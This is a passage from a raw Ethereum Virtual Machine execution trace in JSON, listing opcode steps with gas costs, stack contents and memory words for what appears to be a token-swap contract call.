fffffffffffffffffffffffe0","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2244,"op":"ADD","gas":118497,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x1f","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2245,"op":"AND","gas":118494,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x3f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2246,"op":"DUP3","gas":118491,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2247,"op":"ADD","gas":118488,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20","0x20","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2248,"op":"DUP1","gas":118485,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2249,"op":"PUSH1","gas":118482,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20","0xa0","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2251,"op":"MSTORE","gas":118479,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20","0xa0","0xa0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2252,"op":"POP","gas":118476,"gasCost":2,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2253,"op":"DUP2","gas":118474,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2254,"op":"ADD","gas":118471,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0x20","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2255,"op":"SWAP1","gas":118468,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x80","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2256,"op":"PUSH2","gas":118465,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa0","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2259,"op":"SWAP2","gas":118462,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0xa0","0x80","0x8d9"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2260,"op":"SWAP1","gas":118459,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0x80","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2261,"op":"PUSH2","gas":118456,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":2264,"op":"JUMP","gas":118453,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x3aaf"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15023,"op":"JUMPDEST","gas":118445,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15024,"op":"PUSH1","gas":118444,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15026,"op":"PUSH1","gas":118441,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15028,"op":"DUP3","gas":118438,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15029,"op":"DUP5","gas":118435,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0x20","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15030,"op":"SUB","gas":118432,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0x20","0x80","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15031,"op":"SLT","gas":118429,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0x20","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15032,"op":"ISZERO","gas":118426,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15033,"op":"PUSH2","gas":118423,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15036,"op":"JUMPI","gas":118420,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0x1","0x3ac1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15041,"op":"JUMPDEST","gas":118410,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15042,"op":"DUP2","gas":118409,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15043,"op":"MLOAD","gas":118406,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0x80"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15044,"op":"PUSH2","gas":118403,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15047,"op":"DUP2","gas":118400,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15048,"op":"PUSH2","gas":118397,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":15051,"op":"JUMP","gas":118394,"gasCost":8,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x3643"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13891,"op":"JUMPDEST","gas":118386,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13892,"op":"PUSH1","gas":118385,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13894,"op":"PUSH1","gas":118382,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13896,"op":"PUSH1","gas":118379,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13898,"op":"SHL","gas":118376,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13899,"op":"SUB","gas":118373,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13900,"op":"DUP2","gas":118370,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13901,"op":"AND","gas":118367,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xffffffffffffffffffffffffffffffffffffffff","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13902,"op":"DUP2","gas":118364,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13903,"op":"EQ","gas":118361,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13904,"op":"PUSH2","gas":118358,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13907,"op":"JUMPI","gas":118355,"gasCost":10,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb1242d7e8","0x8d9","0xa0","0x80","0x0","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x34a5","0xdb80fe2d03a89fa9e8f8575cea5da8db6b945e24","0x1","0x3658"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","00000000000000000000000000000000000000000000000000000000000000a0","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24"]},{"pc":13912,"op":"JUMPDEST","gas":118345,"gasCost":1,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x60","0x1cb124